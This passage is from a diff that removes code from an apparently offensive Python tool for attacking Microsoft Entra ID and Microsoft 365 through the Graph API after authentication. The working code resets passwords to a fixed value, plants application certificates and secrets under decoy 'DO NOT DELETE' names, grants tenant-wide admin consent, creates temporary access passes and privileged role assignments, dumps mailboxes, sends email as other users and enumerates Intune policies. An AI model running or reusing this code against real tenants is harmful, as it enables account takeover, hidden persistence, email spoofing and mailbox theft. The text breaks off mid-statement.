print_red("[-] No dynamic groups found") - print("=" * 80) - - # find-securitygroups - elif args.command and args.command.lower() == "find-securitygroups": - print_yellow("\n[*] Find-SecurityGroups") - print("=" * 80) - graph_api_url = "https://graph.microsoft.com/v1.0" - groups_url = f"{graph_api_url}/groups?$filter=securityEnabled eq true" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - groups_with_members = [] - - while groups_url: - try: - response = requests.get(groups_url, headers=headers) - response.raise_for_status() - groups_response = response.json() - groups = groups_response.get('value', []) - except requests.exceptions.RequestException as e: - print_red(f"[-] An error occurred while retrieving security groups: {str(e)}") - return - - for group in groups: - group_id = group['id'] - members_url = f"{graph_api_url}/groups/{group_id}/members" - - try: - members_response = requests.get(members_url, headers=headers) - members_response.raise_for_status() - members = members_response.json().get('value', []) - except requests.exceptions.HTTPError as e: - if e.response.status_code == 429: - print_yellow("[*] Being throttled... sleeping for 5 seconds") - time.sleep(5) - else: - print_red(f"[-] An error occurred while retrieving members for group {group['displayName']}: {str(e)}") - continue - - member_info = [ - member.get('userPrincipalName') or member.get('id', '') - for member in members - ] - group_info = { - "GroupName": group['displayName'], - "GroupId": group_id, - "Members": member_info - } - groups_with_members.append(group_info) - - groups_url = groups_response.get('@odata.nextLink') - - if groups_with_members: - #print_green(f"[*] Found {len(groups_with_members)} security groups\n") - for group in groups_with_members: - print(f"Group Name: {group['GroupName']}") - print(f"Group ID: {group['GroupId']}") - print("Members:") - for member in group['Members']: - print(f" - {member}") - print() - else: - print_red("[-] No security groups found") - print("=" * 80) - - # update-userpassword - elif args.command and args.command.lower() == "update-userpassword": - if not args.id: - print_red("[-] Error: --id required for Update-UserPassword command") - return - - print_yellow("\n[*] Update-UserPassword") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = { - "passwordProfile": { - "forceChangePasswordNextSignIn": False, - "password": "NewUserSecret@Pass!" - } - } - - response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("[+] User password profile updated") - - else: - print_red(f"[-] Failed to update user password: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # update-userproperties - elif args.command and args.command.lower() == "update-userproperties": - if not args.id: - print_red("[-] Error: --id required for Update-UserProperties command") - return - - print_yellow("\n[*] Update-UserProperties") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - print("\033[34m[>] Property Definitions: https://learn.microsoft.com/en-us/graph/api/user-update\033[0m") - - try: - userproperty = input("\nEnter Property: ").strip() - if userproperty not in properties: - print_red(f"\n[-] Error: '{userproperty}' is not a valid property.") - print("=" * 80) - sys.exit() - newvalue = input(f"Enter New '{userproperty}' Value: ").strip() - except KeyboardInterrupt: - sys.exit() - - json_body = { - userproperty : newvalue - } - - response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("\n[+] User properties updated successfully") - - else: - print_red(f"\n[-] Failed to update user properties: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # add-applicationcertificate - elif args.command and args.command.lower() == "add-applicationcertificate": - openssl = """ -Generate Certificate: -openssl genrsa -out private.key 2048 -openssl req -new -key private.key -out request.csr -openssl x509 -req -days 365 -in request.csr -signkey private.key -out certificate.crt -openssl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.crt - """ - if not args.id or not args.cert: - print_red("[-] Error: --id and --cert required for Add-ApplicationCertificate command") - print_red(openssl) - return - - def read_and_encode_cert(cert_path): - try: - if not os.path.isfile(cert_path): - print_red(f"[-] The certificate file '{cert_path}' does not exist.") - with open(cert_path, 'rb') as cert_file: - encoded_cert = cert_file.read() - return encoded_cert - except Exception as e: - sys.exit(1) - - encoded_cert = read_and_encode_cert(args.cert) - - print_yellow("\n[*] Add-ApplicationCertificate") - print("=" * 80) - - # 1. Find existing certs so we don't remove them in the patch req - api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': 'Bearer ' + access_token, - 'Content-Type':'application/json', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - applications = response.json() - key_credentials = applications.get('keyCredentials', []) - else: - print_red(f"[-] Error obtaining existing certificates {response.status_code}") - print_red(response.text) - - # 2. patch app added our cert to the existing - api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" - - try: - displayname = input("\nEnter Certificate Display Name: ").strip() - if not displayname: - displayname = "DevOps Certificate - DO NOT DELETE" - except KeyboardInterrupt: - sys.exit() - - new_key_credential = { - "type": "AsymmetricX509Cert", - "usage": "Verify", - "key": encoded_cert, - "displayName": displayname - } - key_credentials.append(new_key_credential) - - data = { - "keyCredentials": key_credentials - } - - response = requests.patch(api_url, headers=headers, data=json.dumps(data)) - if response.ok: - print_green("\n[+] Successfully added application certificate") - else: - print_red(f"\n[-] Failed to add certificate: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # add-applicationpassword - elif args.command and args.command.lower() == "add-applicationpassword": - if not args.id: - print_red("[-] Error: --id required for Add-ApplicationPassword command") - return - - print_yellow("\n[*] Add-ApplicationPassword") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - current_time_utc = datetime.now(timezone.utc) - six_months_later = current_time_utc + timedelta(days=6*30) - formatted_date = six_months_later.strftime("%Y-%m-%dT%H:%M:%SZ") - json_body = {"displayName":"Added by Azure Service Bus - DO NOT DELETE", "endDateTime": formatted_date} - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - if key == "secretText": - print_green(f"{key}: {pretty_value}") - else: - print(f"{key}: {pretty_value}") - - else: - print_red(f"[-] Failed to add password: {response.status_code}") - print_red(response.text) - print("=" * 80) - - - # add-applicationpermission - elif args.command and args.command.lower() == "add-applicationpermission": - if not args.id: - print_red("[-] Error: --id required for Add-ApplicationPermission command") - return - print_yellow("\n[*] Add-ApplicationPermission") - print("=" * 80) - - # 1. check existing permissions - api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id - #api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" # object id - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - response = requests.get(api_url, headers=headers) - existingperms = [] - if response.status_code == 200: - response_json = response.json() - existingperms = response_json.get('requiredResourceAccess', []) - - # 2. patch perms - api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id - #api_url = f"https://graph.microsoft.com/v1.0/myorganization/applications/{args.id}" # object id - - print("\033[34m[>] API Permissions: https://learn.microsoft.com/en-us/graph/permissions-reference\033[0m") - - # permission id validation - def parse_permissionid(content): - soup = BeautifulSoup(content, 'html.parser') - permissions = {} - for h3 in soup.find_all('h3'): - permission_name = h3.get_text() - table = h3.find_next('table') - rows = table.find_all('tr') - application_id = rows[1].find_all('td')[1].get_text() - delegated_id = rows[1].find_all('td')[2].get_text() - application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" - delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" - permissions[application_id] = ('Application', permission_name, application_consent) - permissions[delegated_id] = ('Delegated', permission_name, delegated_consent) - return permissions - - script_dir = os.path.dirname(os.path.abspath(__file__)) - file_path = os.path.join(script_dir, '.github', 'graphpermissions.txt') - - try: - with open(file_path, 'r') as file: - content = file.read() - except FileNotFoundError: - print_red(f"\n[-] The file {file_path} does not exist.") - sys.exit(1) - except Exception as e: - print_red(f"\n[-] An error occurred: {e}") - sys.exit(1) - - permissions = parse_permissionid(content) - - try: - permissionid = input("\nEnter API Permission ID: ").strip() - if permissionid not in permissions: - print_red("\n[-] Invalid permission ID. Not in graphpermissions.txt") - sys.exit(1) - - permission_info = permissions[permissionid] - if len(permission_info) == 3: - permission_type, permission_name, admin_consent_required = permission_info - else: - permission_type, permission_name = permission_info - admin_consent_required = "Unknown" - - print(f"\nPermission ID: {permissionid} corresponds to '{permission_name}' with type '{permission_type}'") - - # grant admin consent option - print(f"Admin Consent Required: {admin_consent_required}") - if admin_consent_required.lower() == 'yes': - grantadminconsent = input(f"\nGrant Admin Consent For: {permission_name}? (yes/no): ").strip().lower() - else: - pass - grantadminconsent = 'no' - - except KeyboardInterrupt: - sys.exit(1) - - if permission_type.lower() == "application": - typevalue = "Role" - elif permission_type.lower() == "delegated": - typevalue = "Scope" - else: - print_red("\n[-] Unexpected error") - print("=" * 80) - sys.exit() - - graphresource = next((resource for resource in existingperms if resource['resourceAppId'] == '00000003-0000-0000-c000-000000000000'), None) # does Microsoft Graph resource already exist - - if graphresource: - graphresource['resourceAccess'].append({ - "id": permissionid, - "type": typevalue - }) - else: - existingperms.append({ - "resourceAppId": "00000003-0000-0000-c000-000000000000", - "resourceAccess": [ - { - "id": permissionid, # b633e1c5-b582-4048-a93e-9f11b44c7e96 -> Mail.Send (Application perm - admin consent required) - "type": typevalue - } - ] - }) - - # assign perm json - data = { - "requiredResourceAccess": existingperms - } - - clientAppId = args.id - - # admin consent json - admin_data = { - "clientAppId": clientAppId, - "onBehalfOfAll": True, - "checkOnly": False, - "tags": [], - "constrainToRra": True, - "dynamicPermissions": [ - { - "appIdentifier": "00000003-0000-0000-c000-000000000000", - "appRoles": [permission_name], - "scopes": [] - } - ] - } - - response = requests.patch(api_url, headers=headers, json=data) - if grantadminconsent == "no": - if response.ok: - print_green("\n[+] Application permissions updated successfully") - print("=" * 80) - sys.exit() - else: - print_red(f"\n[-] Failed to update application permissions: {response.status_code}") - print_red(response.text) - print("=" * 80) - sys.exit() - - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent, - 'Content-Type': 'application/json', - } - - # any failures granting admin consent likely due to token scope/perms - if grantadminconsent == "yes": - if response.ok: - print_green("\n[+] Application permissions updated successfully") - - print() - custom_bar = '╢{bar:50}╟' - for _ in tqdm(range(5), bar_format='{l_bar}'+custom_bar+'{r_bar}', leave=False, colour='yellow'): - time.sleep(1) - - granturl = "https://graph.microsoft.com/beta/directory/consentToApp" - grantreq = requests.post(granturl, headers=headers, json=admin_data) - - if grantreq.ok: - print_green(f"[+] Admin consent granted for: '{permission_name}'") - else: - print_red(f"\n[-] Failed to grant admin consent: {grantreq.status_code}") - print_red(grantreq.text) - print("=" * 80) - - # grant-appadminconsent - elif args.command and args.command.lower() == "grant-appadminconsent": - if not args.id: - print_red("[-] Error: --id required for Grant-AppAdminConsent command") - return - - print_yellow("\n[*] Grant-AppAdminConsent") - print("=" * 80) - clientAppId = args.id - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent, - 'Content-Type': 'application/json', - } - - script_dir = os.path.dirname(os.path.abspath(__file__)) - file_path = os.path.join(script_dir, '.github', 'graphpermissions.txt') - try: - with open(file_path, 'r') as file: - content = file.read() - except FileNotFoundError: - print_red(f"\n[-] The file {file_path} does not exist.") - sys.exit(1) - except Exception as e: - print_red(f"\n[-] An error occurred: {e}") - sys.exit(1) - - try: - permission_names = input("\nEnter Permission Names (comma-separated): ").strip().split(',') - permission_names = [name.strip() for name in permission_names] - except KeyboardInterrupt: - sys.exit() - - invalid_permissions = [name for name in permission_names if name not in content] - if invalid_permissions: - print_red(f"\n[-] Invalid Graph permissions: {', '.join(invalid_permissions)}") - print("=" * 80) - sys.exit() - - admin_data = { - "clientAppId": clientAppId, - "onBehalfOfAll": True, - "checkOnly": False, - "tags": [], - "constrainToRra": True, - "dynamicPermissions": [ - { - "appIdentifier": "00000003-0000-0000-c000-000000000000", - "appRoles": permission_names, - "scopes": [] - } - ] - } - - url = "https://graph.microsoft.com/beta/directory/consentToApp" - request = requests.post(url, headers=headers, json=admin_data) - - if request.ok: - print_green(f"\n[+] Admin consent granted for: '{', '.join(permission_names)}'") - else: - print_red(f"\n[-] Failed to grant admin consent: {request.status_code}") - print_red(request.text) - print("=" * 80) - - # add-userTAP - elif args.command and args.command.lower() == "add-usertap": - if not args.id: - - print_red("[-] Error: --id required for Add-UserTAP command") - return - - print_yellow("\n[*] Add-UserTAP") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/temporaryAccessPassMethods" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - current_time_utc = datetime.now(timezone.utc) - one_hour_later = current_time_utc + timedelta(minutes=60) - formatted_date = one_hour_later.strftime("%Y-%m-%dT%H:%M:%SZ") - - json_body = { - "properties": { - "isUsableOnce": True, - "startDateTime": formatted_date - } - } - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - - url = response_body.get("@odata.nextLink") - if url: - response = requests.get(url, headers=headers) - response.raise_for_status() - response_body = response.json() - else: - print_red(f"[-] Failed to add TAP: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # add-groupmember - elif args.command and args.command.lower() == "add-groupmember": - if not args.id: - print_red("[-] Error: --id groupid,objectid required for Add-GroupMember command") - return - - ids = args.id.split(',') - if len(ids) != 2: - print_red("[-] Please provide two IDs separated by a comma (group ID, object ID).") - return - - group_id, member_id = ids[0].strip(), ids[1].strip() - - print_yellow("\n[*] Add-GroupMember") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/groups/{group_id}/members/$ref" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = { - "@odata.id": f"https://graph.microsoft.com/v1.0/directoryObjects/{member_id}" - } - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("[+] User added to group") - else: - print_red(f"[-] Failed to add group member: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # create-application - elif args.command and args.command.lower() == "create-application": - - print_yellow("\n[*] Create-Application") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/applications" - - try: - appname = input("\nEnter App Name: ").strip() - except KeyboardInterrupt: - sys.exit() - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = {"displayName": appname} - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("\n[+] Application created\n") - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - - else: - print_red(f"[-] Failed to create application: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # create-newuser - elif args.command and args.command.lower() == "create-newuser": - - print_yellow("\n[*] Create-NewUser") - print("=" * 80) - try: - display_name = input("\nEnter Display Name: ").strip() - mail_nickname = input("Enter Mail Nickname: ").strip() - user_principal_name = input("Enter User Principal Name: ").strip() - password = input("Enter Password: ").strip() - except KeyboardInterrupt: - sys.exit() - - api_url = f"https://graph.microsoft.com/v1.0/users/" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = { - "accountEnabled": True, - "displayName": display_name, - "mailNickname": mail_nickname, - "userPrincipalName": user_principal_name, - "passwordProfile": { - "forceChangePasswordNextSignIn": True, - "password": password - } - } - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("\n[+] New user created\n") - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - - else: - print_red(f"[-] Failed to create new user: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # invite-guestuser - elif args.command and args.command.lower() == "invite-guestuser": - if not args.tenant: - print_red("[-] Error: --tenant required for Invite-GuestUser command") - return - - print_yellow("\n[*] Invite-GuestUser") - print("=" * 80) - try: - email = input("\nEnter Email Address: ").strip() - displayname = input("Enter Display Name: ").strip() - redirecturl = input("Enter Invite Redirect URL (leave blank for default): ").strip() # https://myapplications.microsoft.com/?tenantid=... - sendinvitationmessage = input("Send Email Invitation? (true/false): ").strip().lower() - custommessage = input("Custom Message Body: ").strip() - except KeyboardInterrupt: - sys.exit() - - if redirecturl == "": - redirecturl = f"https://myapplications.microsoft.com/?tenantid={args.tenant}" - - api_url = f"https://graph.microsoft.com/v1.0/invitations" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = { - "invitedUserEmailAddress": email, - "invitedUserDisplayName": displayname, - "inviteRedirectUrl": redirecturl, - "sendInvitationMessage": sendinvitationmessage, - "invitedUserMessageInfo": { - "customizedMessageBody": custommessage - } - } - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("\n[+] Guest user invited\n") - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - - else: - print_red(f"[-] Failed to invite guest user: {response.status_code}") - print_red(response.text) - print("=" * 80) - - - # assign-privilegedrole - elif args.command and args.command.lower() == "assign-privilegedrole": - - print_yellow("\n[*] Assign-PrivilegedRole") - print("=" * 80) - table = [[role["displayName"], role["roleTemplateId"], role["description"]] for role in roles] - separator = ['-' * 20, '-' * 20, '-' * 20] - print(tabulate([["Display Name", "Role Template ID", "Description"]] + [separator] + table, headers="firstrow", tablefmt="plain", colalign=("left", "left", "left"))) - - try: - roleid = input("\nEnter Role Template ID: ").strip() - objectid = input("Enter Object ID (user/group id): ").strip() - scopeid = input("Enter Scope ID (enter '/' for tenant wide): ").strip() # e.g. "/administrativeUnits/5d107bba-d8e2-4e13-b6ae-884be90e5d1a" or / for tenant wide scope - except KeyboardInterrupt: - sys.exit() - - api_url = f"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = { - "@odata.type": "#microsoft.graph.unifiedRoleAssignment", - "roleDefinitionId": roleid, - "principalId": objectid, - "directoryScopeId": scopeid - } - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("\n[+] Role assigned\n") - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - - else: - print_red(f"[-] Failed to assign role: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # open-owamailboxinbrowser - elif args.command and args.command.lower() == "open-owamailboxinbrowser": - print_yellow("\n[*] Open-OWAMailboxInBrowser") - print("=" * 80) - - user_agent = get_user_agent(args) - headers = { - "Authorization": f"Bearer {access_token}", - "User-Agent": user_agent - } - - if args.only_return_cookies: - try: - response = requests.get("https://substrate.office.com/owa/", headers=headers, allow_redirects=False) - print_green("[+] Cookies:") - print(response.headers.get('Set-Cookie')) - except requests.RequestException as e: - print_red(f"[-] Error making request: {str(e)}") - else: - print("To open the OWA mailbox in a browser using a Substrate Access Token:") - print("1. Open a new BurpSuite Repeater tab & set the Target to 'https://substrate.office.com'") - print("2. Paste the below request into Repeater & Send") - print("3. Right click the response > 'Show response in browser', then open the response in Burp's embedded browser") - print("4. Refresh the page to access the mailbox") - print() - print("GET /owa/ HTTP/1.1") - print(f"Host: substrate.office.com") - print(f"Authorization: Bearer {args.token}") - print() - print("=" * 80) - - # dump-owamailbox - elif args.command and args.command.lower() == "dump-owamailbox": - if not args.mail_folder: - print_red("[-] Mail folder --mail-folder is required for this command.") - return - - if args.id: - base_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/mailFolders/{args.mail_folder}/messages" - else: - base_url = f"https://graph.microsoft.com/v1.0/me/mailFolders/{args.mail_folder}/messages" - - query_params = [] - if args.select: - query_params.append(f"$select={args.select}") - - if args.top: - query_params.append(f"$top={args.top}") - - if query_params: - api_url = f"{base_url}?" + "&".join(query_params) - else: - api_url = base_url - - max_results = 400 - - print_yellow("\n[*] Dump-OWAMailbox") - print("=" * 80) - user_agent = get_user_agent(args) - headers = { - "Authorization": f"Bearer {access_token}", - "User-Agent": user_agent - } - - try: - response = requests.get(api_url, headers=headers) - response.raise_for_status() - response_body = response.json() - - filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} - - if filtered_data: - if not filtered_data.get('value'): - print_red("[-] No data found") - return - - email_count = 1 - for d in filtered_data.get('value', []): - print_green(f"Email {email_count}") - print_green("="*80) - for key, value in d.items(): - print(f"{key} : {value}") - print("\n") - email_count += 1 - - url = response_body.get("@odata.nextLink") - if url: - response = requests.get(url, headers=headers) - response.raise_for_status() - response_body = response.json() - - except requests.RequestException as e: - print_red(f"[-] Error making request: {str(e)}") - - print("=" * 80) - - # spoof-owaemailmessage - elif args.command and args.command.lower() == "spoof-owaemailmessage": - if not args.email: - print_red("[-] Error: --email argument is required for Spoof-OWAEmailMessage command") - return - - print_yellow("\n[*] Spoof-OWAEmailMessage") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/sendMail" - - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/sendMail" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - try: - subject = input("\nEnter Subject: ").strip() - torecipients = input("Enter toRecipients (comma-separated): ").strip() - ccrecipients = input("Enter ccRecipients (comma-separated): ").strip() - savetf = input("Save To Sent Items (true/false): ").strip().lower() == 'false' # default - except KeyboardInterrupt: - sys.exit() - - to_recipients = [{"emailAddress": {"address": email.strip()}} for email in torecipients.split(',') if email.strip()] - cc_recipients = [{"emailAddress": {"address": email.strip()}} for email in ccrecipients.split(',') if email.strip()] - - content = read_file_content(args.email) - - json_body = { - "message": { - "subject": subject, - "body": { - "contentType": "Text", - "content": content - }, - "toRecipients": to_recipients, - "ccRecipients": cc_recipients - }, - "saveToSentItems": savetf - } - - # Add attachment option - check what other files are supported... - # "attachments": [ - # { - # "@odata.type": "#microsoft.graph.fileAttachment", - # "name": "attachment.txt", - # "contentType": "text/plain", - # "contentBytes": "SGVsbG8gV29ybGQh" - # } - # ] - - response = requests.post(api_url, headers=headers, json=json_body) - if response.ok: - print_green("\n[+] Email sent successfully") - - else: - print_red(f"\n[-] Failed to send OWA email message: {response.status_code}") - print_red(response.text) - print("=" * 80) - - - ################################ - # Post-Auth Intune Enumeration # - ################################ - - # get-manageddevices - if args.command and args.command.lower() == "get-manageddevices": - print_yellow("\n[*] Get-ManagedDevices") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-userdevices - elif args.command and args.command.lower() == "get-userdevices": - if not args.id: - print_red("[-] Error: --id argument is required for Get-UserDevices command") - return - - print_yellow("\n[*] Get-UserDevices") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/deviceManagement/managedDevices?$filter=userPrincipalName eq '{args.id}'" - - if args.select: - api_url += "&$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-caps - elif args.command and args.command.lower() == "get-caps": - print_yellow("\n[*] Get-CAPs") - print("=" * 80) - api_url = "https://graph.microsoft.com//beta/identity/conditionalAccess/policies" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-devicecategories - elif args.command and args.command.lower() == "get-devicecategories": - print_yellow("\n[*] Get-DeviceCategories") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCategories" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-devicecompliancesummary - elif args.command and args.command.lower() == "get-devicecompliancesummary": - print_yellow("\n[*] Get-DeviceComplianceSummary") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicyDeviceStateSummary" - - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - response = requests.get(api_url, headers=headers) - - if response.ok: - response_body = response.json() - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-deviceconfigurations - elif args.command and args.command.lower() == "get-deviceconfigurations": - print_yellow("\n[*] Get-DeviceConfigurations") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceConfigurations" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-deviceconfigurationpolicies - elif args.command and args.command.lower() == "get-deviceconfigurationpolicies": - print_yellow("\n[*] Get-DeviceConfigurationPolicies") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceManagement/configurationPolicies" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': 'Bearer ' + access_token, - 'Accept': 'application/json', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - policies = response.json() - else: - print_red(f"[-] Error: API request failed with status code {response.status_code}") - policies = None - print("=" * 80) - - if policies and 'value' in policies: - for policy in policies['value']: - for key, value in policy.items(): - print(f"{key} : {value}") - - if 'templateReference' in policy and 'templateDisplayName' in policy['templateReference']: - print(f"template: {policy['templateReference']['templateDisplayName']}") - - # display assignments for each policy - policy_id = policy.get('id') - if policy_id: - assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{policy_id}')/assignments" - assignments_response = requests.get(assignments_api_url, headers=headers) - - if assignments_response.status_code == 200: - assignments = assignments_response.json() - if not assignments.get('value'): - print_red("assignments: None") - else: - print_green("assignments:") - for assignment in assignments.get('value', []): - if 'target' in assignment: - target = assignment['target'] - odata_type = target.get('@odata.type', '').split('.')[-1] - if odata_type == 'exclusionGroupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f"- Excluded Group ID: {group_id}") - elif odata_type == 'allLicensedUsersAssignmentTarget': - print("- Assigned to all users") - elif odata_type == 'allDevicesAssignmentTarget': - print("- Assigned to all devices") - elif odata_type == 'groupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f"- Assigned to Group ID: {group_id}") - else: - print(f"- {odata_type}: {target}") - else: - print_red(f"[-] Error: API request for assignments failed with status code {assignments_response.status_code}") - print("\n") - print("=" * 80) - - # get-deviceconfigurationpolicysettings - elif args.command and args.command.lower() == "get-deviceconfigurationpolicysettings": - if not args.id: - print_red("[-] Error: --id argument is required for Get-DeviceConfigurationPolicySettings command") - return - - print_yellow("\n[*] Get-DeviceConfigurationPolicySettings") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings?expand=settingDefinitions" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - - if response.ok: - response_body = response.json() - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-deviceenrollmentconfigurations - elif args.command and args.command.lower() == "get-deviceenrollmentconfigurations": - print_yellow("\n[*] Get-DeviceEnrollmentConfigurations") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceEnrollmentConfigurations" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-devicegrouppolicyconfigurations - elif args.command and args.command.lower() == "get-devicegrouppolicyconfigurations": - print_yellow("\n[*] Get-DeviceGroupPolicyConfigurations") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceManagement/groupPolicyConfigurations" - - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': 'Bearer ' + access_token, - 'Accept': 'application/json', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - group_policies = response.json() - else: - print_red(f"[-] Error: API request failed with status code {response.status_code}") - group_policies = None - - if group_policies and 'value' in group_policies: - for policy in group_policies['value']: - # group policy details - for key, value in policy.items(): - print(f"{key} : {value}") - - # display assignments for the group policy - policy_id = policy.get('id') - if policy_id: - assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/groupPolicyConfigurations/{policy_id}/assignments" - assignments_response = requests.get(assignments_api_url, headers=headers) - - if assignments_response.status_code == 200: - assignments = assignments_response.json() - if not assignments.get('value'): - print_red("assignmentTarget: No assignments") - else: - for assignment in assignments.get('value', []): - if 'target' in assignment: - print_green(f"assignmentTarget : 